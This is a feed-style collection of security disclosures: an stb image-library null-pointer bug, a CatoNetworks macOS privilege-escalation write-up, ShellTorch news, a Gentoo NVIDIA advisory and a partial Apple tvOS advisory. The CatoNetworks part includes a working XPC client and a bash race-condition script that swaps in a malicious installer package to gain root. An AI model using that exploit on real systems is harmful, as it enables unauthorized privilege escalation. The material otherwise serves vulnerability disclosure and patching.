Nothings stb 2.28 was discovered to contain a Null Pointer Dereference via the function stbi__convert_format. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted pic file.

**Null Pointer Dereference vulnerability in nothings/stb**

​ Nothings/stb, an image processing library, has a **Null Pointer Dereference** vulnerability in the stbi\_\_convert\_format function, stb\_image.h 2.28(https://github.com/nothings/stb/blob/master/stb\_image.h). This function is called in stbi\_\_pic\_load and is used to parse files in the pic image format. And stbi\_\_pic\_load is called by stbi\_load\_from\_memory.

**Vulnerability causes**

static void \*stbi\_\_pic\_load(stbi\_\_context \*s,int \*px,int \*py,int \*comp,int req\_comp, stbi\_\_result\_info \*ri)
{
   stbi\_uc \*result;
   int i, x,y, internal\_comp;
   STBI\_NOTUSED(ri);

   if (!comp) comp = &internal\_comp;

   for (i=0; i<92; ++i)
      stbi\_\_get8(s);

   x = stbi\_\_get16be(s);
   y = stbi\_\_get16be(s);

   if (y > STBI\_MAX\_DIMENSIONS) return stbi\_\_errpuc("too large","Very large image (corrupt?)");
   if (x > STBI\_MAX\_DIMENSIONS) return stbi\_\_errpuc("too large","Very large image (corrupt?)");

   if (stbi\_\_at\_eof(s))  return stbi\_\_errpuc("bad file","file too short (pic header)");
   if (!stbi\_\_mad3sizes\_valid(x, y, 4, 0)) return stbi\_\_errpuc("too large", "PIC image too large to decode");

   stbi\_\_get32be(s); //skip \`ratio'
   stbi\_\_get16be(s); //skip \`fields'
   stbi\_\_get16be(s); //skip \`pad'

   // intermediate buffer is RGBA
   result = (stbi\_uc \*) stbi\_\_malloc\_mad3(x, y, 4, 0);
   if (!result) return stbi\_\_errpuc("outofmem", "Out of memory");
   memset(result, 0xff, x\*y\*4);

   if (!stbi\_\_pic\_load\_core(s,x,y,comp, result)) {
      STBI\_FREE(result);
      result=0;
   }
   \*px = x;
   \*py = y;
   if (req\_comp == 0) req\_comp = \*comp;
   result=stbi\_\_convert\_format(result,4,req\_comp,x,y);

   return result;
}

​ We can see that the "**result**" variable is assigned NULL after STBI\_FREE and is used again by stbi\_\_convert\_format.

static unsigned char \*stbi\_\_convert\_format(unsigned char \*data, int img\_n, int req\_comp, unsigned int x, unsigned int y)
{
   int i,j;
   unsigned char \*good;

   if (req\_comp == img\_n) return data;
   STBI\_ASSERT(req\_comp >= 1 && req\_comp <= 4);

   good = (unsigned char \*) stbi\_\_malloc\_mad3(req\_comp, x, y, 0);
   if (good == NULL) {
      STBI\_FREE(data);
      return stbi\_\_errpuc("outofmem", "Out of memory");
   }

   for (j=0; j < (int) y; ++j) {
      unsigned char \*src  = data + j \* x \* img\_n   ;
      unsigned char \*dest = good + j \* x \* req\_comp;

      #define STBI\_\_COMBO(a,b)  ((a)\*8+(b))
      #define STBI\_\_CASE(a,b)   case STBI\_\_COMBO(a,b): for(i=x-1; i >= 0; --i, src += a, dest += b)
      // convert source image with img\_n components to one with req\_comp components;
      // avoid switch per pixel, so use switch per scanline and massive macros
      switch (STBI\_\_COMBO(img\_n, req\_comp)) {
         STBI\_\_CASE(1,2) { dest\[0\]=src\[0\]; dest\[1\]=255;                                     } break;
         STBI\_\_CASE(1,3) { dest\[0\]=dest\[1\]=dest\[2\]=src\[0\];                                  } break;
         STBI\_\_CASE(1,4) { dest\[0\]=dest\[1\]=dest\[2\]=src\[0\]; dest\[3\]=255;                     } break;
         STBI\_\_CASE(2,1) { dest\[0\]=src\[0\];                                                  } break;
         STBI\_\_CASE(2,3) { dest\[0\]=dest\[1\]=dest\[2\]=src\[0\];                                  } break;
         STBI\_\_CASE(2,4) { dest\[0\]=dest\[1\]=dest\[2\]=src\[0\]; dest\[3\]=src\[1\];                  } break;
         STBI\_\_CASE(3,4) { dest\[0\]=src\[0\];dest\[1\]=src\[1\];dest\[2\]=src\[2\];dest\[3\]=255;        } break;
         STBI\_\_CASE(3,1) { dest\[0\]=stbi\_\_compute\_y(src\[0\],src\[1\],src\[2\]);                   } break;
         STBI\_\_CASE(3,2) { dest\[0\]=stbi\_\_compute\_y(src\[0\],src\[1\],src\[2\]); dest\[1\] = 255;    } break;
         STBI\_\_CASE(4,1) { dest\[0\]=stbi\_\_compute\_y(src\[0\],src\[1\],src\[2\]);                   } break;
         STBI\_\_CASE(4,2) { dest\[0\]=stbi\_\_compute\_y(src\[0\],src\[1\],src\[2\]); dest\[1\] = src\[3\]; } break;
         STBI\_\_CASE(4,3) { dest\[0\]=src\[0\];dest\[1\]=src\[1\];dest\[2\]=src\[2\];                    } break;
         default: STBI\_ASSERT(0); STBI\_FREE(data); STBI\_FREE(good); return stbi\_\_errpuc("unsupported", "Unsupported format conversion");
      }
      #undef STBI\_\_CASE
   }

   STBI\_FREE(data);
   return good;
}

​ The "**result**" variable will be used again as the "**data**" variable inside stbi\_\_convert\_format, when the "**data**" variable is already a null pointer, and using it again will result in a null pointer dereference.

**Vulnerability reproduce**

​ The environment is shown below.

​ In the "null\_example" folder, use the following command.

​ or

​ We can see the "core dumped".

**Impact**

Denial of service attack

​ Here the "**result**" variable is assigned as a null pointer.

​ Here the null pointer is used as the base address, at which point an error occurs.

CVE-2023-43898: GitHub - peccc/null-stb

An issue in CatoNetworks CatoClient before v.5.4.0 allows attackers to escalate privileges and winning the race condition (TOCTOU) via the PrivilegedHelperTool component.

**Introduction**

A couple of months ago, I have found Local Privilege Escalation vulnerability inside of CatoNetworks macOS application which is fixed in the version 5.4.0. We will see how to exploit the simple race condition in order to achieve escalation of privileges to _root_ user.

**Analysis**

After examining ~/Library/LaunchDaemons/com.catonetworks.mac.CatoClient.helper.plist we can see that the Mach service name is com.catonetworks.mac.client.daemon and the binary it runs is /Library/Application Support/CatoNetworks/com.catonetworks.mac.CatoClient.helper. We will take a note of the Mach service name because we will need it to communicate with the XPC service.

After we have obtained some limited information, we need to load the main binary in _Hopper_ to analyze what is happening and to check whether there are any vulnerabilities.

Searching for listener:shouldAcceptNewConnection revealed that the exported protocol is _TtP38com_catonetworks_mac_CatoClient_helper15CommandProtocol_.

Running class dump showed that this protocol contains a single method - (void)installPackageAtPath:(NSString *)arg1 withCompletion:(void (^)(BOOL))arg2;.

Based on the name, we can conclude that we need to provide the path to the .pkg file and we can check whether we have succeeded or not based on the reply block.

If we now search for implementation of this method, we can see that it calls function sub_100002b7c.

Analyzing the sub_100002b7c function, we can see that it checks whether sub_1000027b0 returned successfully, followed by creation of NSTask (to run programs).

Near the end of the function, there is another check which confirms whether probably the output of the run NSTask contains \norigin=Developer ID Installer: Cato Networks Ltd (CKGSB8CH43).

We will now create a minimal objc code to communicate with the service, and we will examine the arguments passed to -[NSTask setLaunchPath:] and -[NSTask setArguments:] methods with debugger (lldb).

The objc code:

    // gcc cato.m -o cato -framework Foundation
    #import <Foundation/Foundation.h>
    
    static NSString * serviceName = @"com.catonetworks.mac.client.daemon";
    
    @protocol _TtP38com_catonetworks_mac_CatoClient_helper15CommandProtocol_
    - (void)installPackageAtPath:(NSString *)arg1 withCompletion:(void (^)(BOOL))arg2;
    @end
    
    int main(int argc, const char **argv) {
        NSXPCConnection * conn = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:4096];
    
        [conn setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP38com_catonetworks_mac_CatoClient_helper15CommandProtocol_)]];
        [conn resume];
    
        id obj = [conn remoteObjectProxyWithErrorHandler:^(NSError * error) {
               NSLog(@"Error: %@", error);
        }];
    
        NSString * pkgPath = [NSString stringWithCString:argv[1] encoding:NSASCIIStringEncoding];
    
        [obj installPackageAtPath:pkgPath withCompletion:^(BOOL succeeded) {
            if (succeeded) {
                NSLog(@"Exploit succeeded; check /tmp/himynameis");
            } else {
                NSLog(@"Exploit failed; please try again");
            }
        }];
    
        dispatch_main();
        return 0;
    }
    

While inside of lldb we want to set the breakpoints and examine the arguments. Compiling the above code and running it as ./cato nsecho gives the following inside of lldb.

From the lldb output we can conclude that the service is calling /usr/sbin/spctl with the arguments -a -vvv -t install PACKAGE_PATH_WE_PROVIDED. spctl is used to check notorization on the pkg files.

Running the exact command on the legitimate CatoNetworks package returns the output which contains the string we found earlier (\norigin=Developer ID Installer: Cato Networks Ltd (CKGSB8CH43)).

So far we now the following:

*   Services uses _TtP38com_catonetworks_mac_CatoClient_helper15CommandProtocol_ protocol
*   We need to call installPackageAtPath:pkgPath withCompletion:
*   Service checks whether the app is notorized by the Cato using spctl
*   Gets installed if the previous check was successful

It seems that there is no way to exploit it, but after running spctl, I have noticed that it doesn’t return immediately, it takes a couple of milliseconds, meaning that we have potential race condition here.

To exploit this, we need to do the following:

*   Run the exploit, providing the path to the legitimate Cato pkg file
*   Wait a bit
*   Replace the legitimate Cato pkg file with the malicious one
*   Local Privilege Escalation

I will just add a simple command in the postinstall scripts which writes the current user to /tmp/himynameis file.

_The exploit bash script:_

    #!/bin/bash
    
    ORIGINAL=/Users/demon/Downloads/CatoClient-2.pkg
    FAKE=/Users/demon/Downloads/exploit.pkg
    TEMP=/tmp/expl.pkg
    
    while [ true ]
    do
        cp "${ORIGINAL}" "${TEMP}"
    
        ./cato "${TEMP}" &
        sleep 0.1
        cp "${FAKE}" "${TEMP}"
        sleep 4
        stat /tmp/himynameis > /dev/null 2>&1 && exit 0
    done

CVE-2023-43976: 2023-43976 - CatoNetworks macOS LPE

By Waqas
Dubbed ShellTorch by researchers; these PyTorch vulnerabilities are troubling for the artificial intelligence (AI) and machine learning (ML) community.
This is a post from HackRead.com Read the original post: ShellTorch Attack Exposes Millions of PyTorch Systems to RCE Vulnerabilities

Amongst various cybersecurity threats, the ShellTorch attack exposes the PyTorch Model Server to remote code execution.

The cybersecurity researchers at the Oligo Security research team have unveiled a series of critical vulnerabilities within the PyTorch Model Server, also known as **TorchServe**.

Dubbed ShellTorch by researchers; these vulnerabilities are troubling for the artificial intelligence (AI) and machine learning (ML) community, as they open the door for remote code execution and potential server takeovers.

PyTorch is a machine learning framework, based on the Torch library, and is well known for its versatile applications encompassing computer vision, natural language processing, and more. Initially **created by Meta AI**, this influential framework has now found its home at the Linux Foundation. PyTorch is a foundational component in the ever-evolving domain of AI and machine learning technologies.

****Massive Impact on High-Profile Organizations****

Oligo Security’s research has identified thousands of vulnerable instances of TorchServe publicly exposed on the internet, with some belonging to the world’s largest and most prominent organizations.

This discovery leaves these organizations susceptible to unauthorized access and the insertion of malicious AI models, posing a significant threat to millions of services and their end-users.

****PyTorch’s Dominance Draws Attackers****

PyTorch, a powerhouse in **machine learning** research and widely adopted in the AI industry, has attracted the attention of threat actors. Oligo Security’s research reveals that these new critical vulnerabilities allow remote code execution without any authentication, putting PyTorch-based systems at immediate risk.

****The TorchServe Ecosystem****

TorchServe, a popular model-serving framework for PyTorch, enjoys broad usage across the AI landscape. Maintained by Meta and Amazon, this open-source library boasts over 30,000 PyPi downloads monthly and more than a million DockerHub pulls.

Its commercial users include industry giants like Walmart, Amazon, OpenAI, Tesla, Azure, Google Cloud, Intel, and many more. Furthermore, TorchServe serves as the foundation for projects like KubeFlow, MLFlow, and AWS Neuron, and is offered as a managed service by leading cloud providers.

****Revealing the Vulnerabilities****

Oligo Security’s findings highlight vulnerabilities affecting all TorchServe versions prior to 0.8.2. These vulnerabilities, when exploited in sequence, result in remote code execution, granting attackers full control over victims’ servers and networks and enabling the exfiltration of sensitive data.

****The Anatomy of a ShellTorch Attack****

To comprehend the gravity of the situation, it’s crucial to understand how these vulnerabilities combine to create the ShellTorch attack:

**Vulnerability #1 – Abusing the Management Console: Unauthenticated Management Interface API Misconfiguration**

TorchServe exposes a management API with a misconfiguration vulnerability that allows external access. This misconfiguration, seemingly innocuous in the default configuration, leaves the door open for malicious actors.

**Vulnerability #2 – Malicious Model Injection: Remote Server-Side Request Forgery (SSRF) that Leads to Remote Code Execution**

TorchServe’s default configuration accepts all domains as valid URLs, leading to an SSRF vulnerability. Attackers can exploit this to upload a malicious model, resulting in arbitrary code execution.

**Vulnerability #3 – Exploiting an Insecure Use of Open Source Library: Java Deserialization Remote Code Execution**

A misuse of the SnakeYAML library in TorchServe opens a door for attackers to trigger an unsafe deserialization attack, enabling code execution on the target machine.

****The Result: Total Takeover****

These vulnerabilities collectively empower attackers to execute code remotely with high privileges, bypassing authentication. Once inside, attackers can compromise TorchServe servers globally, potentially affecting tens of thousands of IP addresses.

The attack flow

****Security Risks in AI: Impacts and Implications****

The integration of open-source tools into AI production environments creates a delicate balance between innovation and vulnerability. Oligo’s findings echo concerns raised in the recent OWASP Top 10 for LLM Applications, touching on supply chain vulnerabilities, model theft, and model injection.

****Updates by Amazon and META****

According to Oligo Security’s **report**, on October 2nd 2023, both Amazon and Meta took swift actions in response to the ShellTorch vulnerabilities. Amazon proactively issued a security advisory for its users, highlighting the critical nature of the threat. Simultaneously, Meta acted by promptly addressing the default management API misconfiguration, implementing measures to mitigate this vulnerability within the PyTorch ecosystem.

****Mitigation: Protecting Against ShellTorch Attacks****

To safeguard TorchServe systems from ShellTorch attacks, three key steps are essential:

1.  **Update to Version 0.8.2 or Above:** While this update adds a warning about the SSRF vulnerability, it is a critical first step in mitigating the risk.
2.  **Configure the Management Console:** Adjust the configuration to ensure that the management console is accessible only from trusted sources, preventing remote access by attackers.
3.  **Control Model Fetching:** Limit TorchServe’s ability to fetch models from trusted domains only, preventing malicious model injections.

In conclusion, the discovery of these vulnerabilities highlights cybersecurity threats in the **AI and machine learning sector**. As the industry continues to grow at a rapid pace, organizations must remain vigilant and proactive in addressing potential security risks in their AI infrastructure.

1.  mLearning – Future of On-The-Go Dynamic Training Programs
2.  The Role of DevOps in Streamlining Cloud Migration Processes
3.  Using GenAI in Your Business? Here Is What You Need To Know
4.  Mozilla Rushes to Fix Critical Vulnerability in Firefox, Thunderbird
5.  WinRAR users update your software as 0-day vulnerability is found

ShellTorch Attack Exposes Millions of PyTorch Systems to RCE Vulnerabilities

Cybersecurity researchers have disclosed multiple critical security flaws in the TorchServe tool for serving and scaling PyTorch models that could be chained to achieve remote code execution on affected systems.
Israel-based runtime application security company Oligo, which made the discovery, has coined the vulnerabilities ShellTorch.
"These vulnerabilities [...] can lead to a full chain Remote

Artificial Intelligence / Cyber Threat

Cybersecurity researchers have disclosed multiple critical security flaws in the TorchServe tool for serving and scaling PyTorch models that could be chained to achieve remote code execution on affected systems.

Israel-based runtime application security company Oligo, which made the discovery, has coined the vulnerabilities **ShellTorch**.

"These vulnerabilities \[...\] can lead to a full chain Remote Code Execution (RCE), leaving countless thousands of services and end-users — including some of the world's largest companies — open to unauthorized access and insertion of malicious AI models, and potentially a full server takeover," security researchers Idan Levcovich, Guy Kaplan, and Gal Elbaz said.

The list of flaws, which have been addressed in version 0.8.2, is as follows -

*   No CVE - Unauthenticated Management Interface API Misconfiguration (0.0.0.0)
*   **CVE-2023-43654** (CVSS score: 7.2) - A remote server-side request forgery (SSRF) that leads to remote code execution.
*   **CVE-2022-1471** (CVSS score: 9.9) - Use of an insecure version of the SnakeYAML open-source library that allows for unsafe deserialization of Java objects

Successful exploitation of the aforementioned flaws could allow an attacker to send a request to upload a malicious model from an actor-controlled address, leading to arbitrary code execution.

Put in other words, an attacker who can remotely access the management server can also upload a malicious model, which enables code execution without requiring any authentication on any default TorchServe server.

Even more troublingly, the shortcomings could be chained with CVE-2022-1471 to pave the way for code execution and full takeover of exposed instances.

"AI models can include a YAML file to declare their desired configuration, so by uploading a model with a maliciously crafted YAML file, we were able to trigger an unsafe deserialization attack that resulted in code execution on the machine," the researchers said.

The severity of the issues has prompted Amazon Web Services (AWS) to issue an advisory urging customers using PyTorch inference Deep Learning Containers (DLC) 1.13.1, 2.0.0, or 2.0.1 in EC2, EKS, or ECS released prior to September 11, 2023, update to TorchServe version 0.8.2.

"Using the privileges granted by these vulnerabilities, it is possible to view, modify, steal, and delete AI models and sensitive data flowing into and from the target TorchServe server," the researchers said.

"Making these vulnerabilities even more dangerous: when an attacker exploits the model serving server, they can access and alter sensitive data flowing in and out from the target TorchServe server, harming the trust and credibility of the application."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Warning: PyTorch Models Vulnerable to Remote Code Execution via ShellTorch

Gentoo Linux Security Advisory 202310-2 - Multiple vulnerabilities have been discovered in NVIDIA Drivers, the worst of which could result in root privilege escalation. Versions greater than or equal to 470.182.03 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202310-02  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: Normal  
    Title: NVIDIA Drivers: Multiple Vulnerabilities  
     Date: October 03, 2023  
     Bugs: #764512, #784596, #803389, #832867, #845063, #866527, #881341, #884045, #903614  
       ID: 202310-02

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

Multiple vulnerabilities have been discovered in NVIDIA Drivers, the  
worst of which could result in root privilege escalation.

Background  
==========

NVIDIA Drivers are NVIDIA's accelerated graphics driver.

Affected packages  
=================

Package                     Vulnerable    Unaffected  
--------------------------  ------------  -------------  
x11-drivers/nvidia-drivers  < 470.182.03  >= 470.182.03

Description  
===========

Multiple vulnerabilities have been discovered in NVIDIA Drivers. Please  
review the CVE identifiers referenced below for details.

Impact  
======

Please review the referenced CVE identifiers for details.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All NVIDIA Drivers 470 users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=x11-drivers/nvidia-drivers-470.182.03:0/470"

All NVIDIA Drivers 515 users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=x11-drivers/nvidia-drivers-515.105.01:0/515"

All NVIDIA Drivers 525 users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=x11-drivers/nvidia-drivers-525.105.17:0/525"

All NVIDIA Drivers 530 users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=x11-drivers/nvidia-drivers-530.41.03:0/530"

References  
==========

[ 1 ] CVE-2021-1052  
      https://nvd.nist.gov/vuln/detail/CVE-2021-1052  
[ 2 ] CVE-2021-1053  
      https://nvd.nist.gov/vuln/detail/CVE-2021-1053  
[ 3 ] CVE-2021-1056  
      https://nvd.nist.gov/vuln/detail/CVE-2021-1056  
[ 4 ] CVE‑2021‑1076  
      https://nvd.nist.gov/vuln/detail/CVE‑2021‑1076  
[ 5 ] CVE‑2021‑1077  
      https://nvd.nist.gov/vuln/detail/CVE‑2021‑1077  
[ 6 ] CVE-2021-1090  
      https://nvd.nist.gov/vuln/detail/CVE-2021-1090  
[ 7 ] CVE-2021-1093  
      https://nvd.nist.gov/vuln/detail/CVE-2021-1093  
[ 8 ] CVE-2021-1094  
      https://nvd.nist.gov/vuln/detail/CVE-2021-1094  
[ 9 ] CVE-2021-1095  
      https://nvd.nist.gov/vuln/detail/CVE-2021-1095  
[ 10 ] CVE‑2022‑21813  
      https://nvd.nist.gov/vuln/detail/CVE‑2022‑21813  
[ 11 ] CVE‑2022‑21814  
      https://nvd.nist.gov/vuln/detail/CVE‑2022‑21814  
[ 12 ] CVE-2022-28181  
      https://nvd.nist.gov/vuln/detail/CVE-2022-28181  
[ 13 ] CVE-2022-28183  
      https://nvd.nist.gov/vuln/detail/CVE-2022-28183  
[ 14 ] CVE-2022-28184  
      https://nvd.nist.gov/vuln/detail/CVE-2022-28184  
[ 15 ] CVE-2022-28185  
      https://nvd.nist.gov/vuln/detail/CVE-2022-28185  
[ 16 ] CVE-2022-31607  
      https://nvd.nist.gov/vuln/detail/CVE-2022-31607  
[ 17 ] CVE-2022-31608  
      https://nvd.nist.gov/vuln/detail/CVE-2022-31608  
[ 18 ] CVE-2022-31615  
      https://nvd.nist.gov/vuln/detail/CVE-2022-31615  
[ 19 ] CVE‑2022‑34665  
      https://nvd.nist.gov/vuln/detail/CVE‑2022‑34665  
[ 20 ] CVE-2022-34666  
      https://nvd.nist.gov/vuln/detail/CVE-2022-34666  
[ 21 ] CVE-2022-34670  
      https://nvd.nist.gov/vuln/detail/CVE-2022-34670  
[ 22 ] CVE-2022-34673  
      https://nvd.nist.gov/vuln/detail/CVE-2022-34673  
[ 23 ] CVE-2022-34674  
      https://nvd.nist.gov/vuln/detail/CVE-2022-34674  
[ 24 ] CVE-2022-34676  
      https://nvd.nist.gov/vuln/detail/CVE-2022-34676  
[ 25 ] CVE-2022-34677  
      https://nvd.nist.gov/vuln/detail/CVE-2022-34677  
[ 26 ] CVE-2022-34678  
      https://nvd.nist.gov/vuln/detail/CVE-2022-34678  
[ 27 ] CVE-2022-34679  
      https://nvd.nist.gov/vuln/detail/CVE-2022-34679  
[ 28 ] CVE-2022-34680  
      https://nvd.nist.gov/vuln/detail/CVE-2022-34680  
[ 29 ] CVE-2022-34682  
      https://nvd.nist.gov/vuln/detail/CVE-2022-34682  
[ 30 ] CVE-2022-34684  
      https://nvd.nist.gov/vuln/detail/CVE-2022-34684  
[ 31 ] CVE-2022-42254  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42254  
[ 32 ] CVE-2022-42255  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42255  
[ 33 ] CVE-2022-42256  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42256  
[ 34 ] CVE-2022-42257  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42257  
[ 35 ] CVE-2022-42258  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42258  
[ 36 ] CVE-2022-42259  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42259  
[ 37 ] CVE-2022-42260  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42260  
[ 38 ] CVE-2022-42261  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42261  
[ 39 ] CVE-2022-42263  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42263  
[ 40 ] CVE-2022-42264  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42264  
[ 41 ] CVE-2022-42265  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42265  
[ 42 ] CVE-2023-0180  
      https://nvd.nist.gov/vuln/detail/CVE-2023-0180  
[ 43 ] CVE-2023-0181  
      https://nvd.nist.gov/vuln/detail/CVE-2023-0181  
[ 44 ] CVE-2023-0183  
      https://nvd.nist.gov/vuln/detail/CVE-2023-0183  
[ 45 ] CVE-2023-0184  
      https://nvd.nist.gov/vuln/detail/CVE-2023-0184  
[ 46 ] CVE-2023-0185  
      https://nvd.nist.gov/vuln/detail/CVE-2023-0185  
[ 47 ] CVE-2023-0187  
      https://nvd.nist.gov/vuln/detail/CVE-2023-0187  
[ 48 ] CVE-2023-0188  
      https://nvd.nist.gov/vuln/detail/CVE-2023-0188  
[ 49 ] CVE-2023-0189  
      https://nvd.nist.gov/vuln/detail/CVE-2023-0189  
[ 50 ] CVE-2023-0190  
      https://nvd.nist.gov/vuln/detail/CVE-2023-0190  
[ 51 ] CVE-2023-0191  
      https://nvd.nist.gov/vuln/detail/CVE-2023-0191  
[ 52 ] CVE-2023-0194  
      https://nvd.nist.gov/vuln/detail/CVE-2023-0194  
[ 53 ] CVE-2023-0195  
      https://nvd.nist.gov/vuln/detail/CVE-2023-0195  
[ 54 ] CVE-2023-0198  
      https://nvd.nist.gov/vuln/detail/CVE-2023-0198  
[ 55 ] CVE-2023-0199  
      https://nvd.nist.gov/vuln/detail/CVE-2023-0199

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202310-02

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2023 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202310-02

Apple Security Advisory 09-26-2023-9 - tvOS 17 addresses bypass, code execution, out of bounds read, and use-after-free vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

APPLE-SA-09-26-2023-9 tvOS 17

tvOS 17 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/kb/HT213936.

Apple maintains a Security Updates page at  
https://support.apple.com/HT201222 which lists recent  
software updates with security advisories.

Airport  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to read sensitive location information  
Description: A permissions issue was addressed with improved redaction  
of sensitive information.  
CVE-2023-40384: Adam M.

App Store  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: A remote attacker may be able to break out of Web Content  
sandbox  
Description: The issue was addressed with improved handling of  
protocols.  
CVE-2023-40448: w0wbox

Apple Neural Engine  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2023-40432: Mohamed GHANNAM (@_simo36)  
CVE-2023-41174: Mohamed GHANNAM (@_simo36)  
CVE-2023-40409: Ye Zhang (@VAR10CK) of Baidu Security  
CVE-2023-40412: Mohamed GHANNAM (@_simo36)

Apple Neural Engine  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: A use-after-free issue was addressed with improved memory  
management.  
CVE-2023-41071: Mohamed GHANNAM (@_simo36)

Apple Neural Engine  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to disclose kernel memory  
Description: The issue was addressed with improved memory handling.  
CVE-2023-40399: Mohamed GHANNAM (@_simo36)

Apple Neural Engine  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to disclose kernel memory  
Description: An out-of-bounds read was addressed with improved input  
validation.  
CVE-2023-40410: Tim Michaud (@TimGMichaud) of Moveworks.ai

AuthKit  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to access user-sensitive data  
Description: The issue was addressed with improved handling of caches.  
CVE-2023-32361: Csaba Fitzl (@theevilbit) of Offensive Security

Bluetooth  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An attacker in physical proximity can cause a limited out of  
bounds write  
Description: The issue was addressed with improved checks.  
CVE-2023-35984: zer0k

bootp  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to read sensitive location information  
Description: A privacy issue was addressed with improved private data  
redaction for log entries.  
CVE-2023-41065: Adam M., and Noah Roskin-Frazee and Professor Jason Lau  
(ZeroClicks.ai Lab)

CFNetwork  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may fail to enforce App Transport Security  
Description: The issue was addressed with improved handling of  
protocols.  
CVE-2023-38596: Will Brattain at Trail of Bits

CoreAnimation  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: Processing web content may lead to a denial-of-service  
Description: The issue was addressed with improved memory handling.  
CVE-2023-40420: 이준성(Junsung Lee) of Cross Republic

Dev Tools  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to gain elevated privileges  
Description: This issue was addressed with improved checks.  
CVE-2023-32396: Mickey Jin (@patch1t)

Game Center  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to access contacts  
Description: The issue was addressed with improved handling of caches.  
CVE-2023-40395: Csaba Fitzl (@theevilbit) of Offensive Security

GPU Drivers  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to disclose kernel memory  
Description: The issue was addressed with improved memory handling.  
CVE-2023-40391: Antonio Zekic (@antoniozekic) of Dataflow Security

Kernel  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An attacker that has already achieved kernel code execution may  
be able to bypass kernel memory mitigations  
Description: The issue was addressed with improved memory handling.  
CVE-2023-41981: Linus Henze of Pinauten GmbH (pinauten.de)

Kernel  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to execute arbitrary code with kernel  
privileges  
Description: The issue was addressed with improved memory handling.  
CVE-2023-41984: Pan ZhenPeng (@Peterpan0927) of STAR Labs SG Pte. Ltd.

Kernel  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to access sensitive user data  
Description: A permissions issue was addressed with improved validation.  
CVE-2023-40429: Michael (Biscuit) Thomas and 张师傅(@京东蓝军)

libpcap  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: A remote user may cause an unexpected app termination or  
arbitrary code execution  
Description: This issue was addressed with improved checks.  
CVE-2023-40400: Sei K.

libxpc  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to delete files for which it does not have  
permission  
Description: A permissions issue was addressed with additional  
restrictions.  
CVE-2023-40454: Zhipeng Huo (@R3dF09) of Tencent Security Xuanwu Lab  
(xlab.tencent.com)

libxpc  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to access protected user data  
Description: An authorization issue was addressed with improved state  
management.  
CVE-2023-41073: Zhipeng Huo (@R3dF09) of Tencent Security Xuanwu Lab  
(xlab.tencent.com)

libxslt  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: Processing web content may disclose sensitive information  
Description: The issue was addressed with improved memory handling.  
CVE-2023-40403: Dohyun Lee (@l33d0hyun) of PK Security

Maps  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: An app may be able to read sensitive location information  
Description: The issue was addressed with improved handling of caches.  
CVE-2023-40427: Adam M., and Wojciech Regula of SecuRing  
(wojciechregula.blog)

MobileStorageMounter  
Available for: Apple TV HD and Apple TV 4K (all models)  
Impact: A user may be able to elevate privileges  
Description: An access issue was addressed with improved access  
restrictions.  
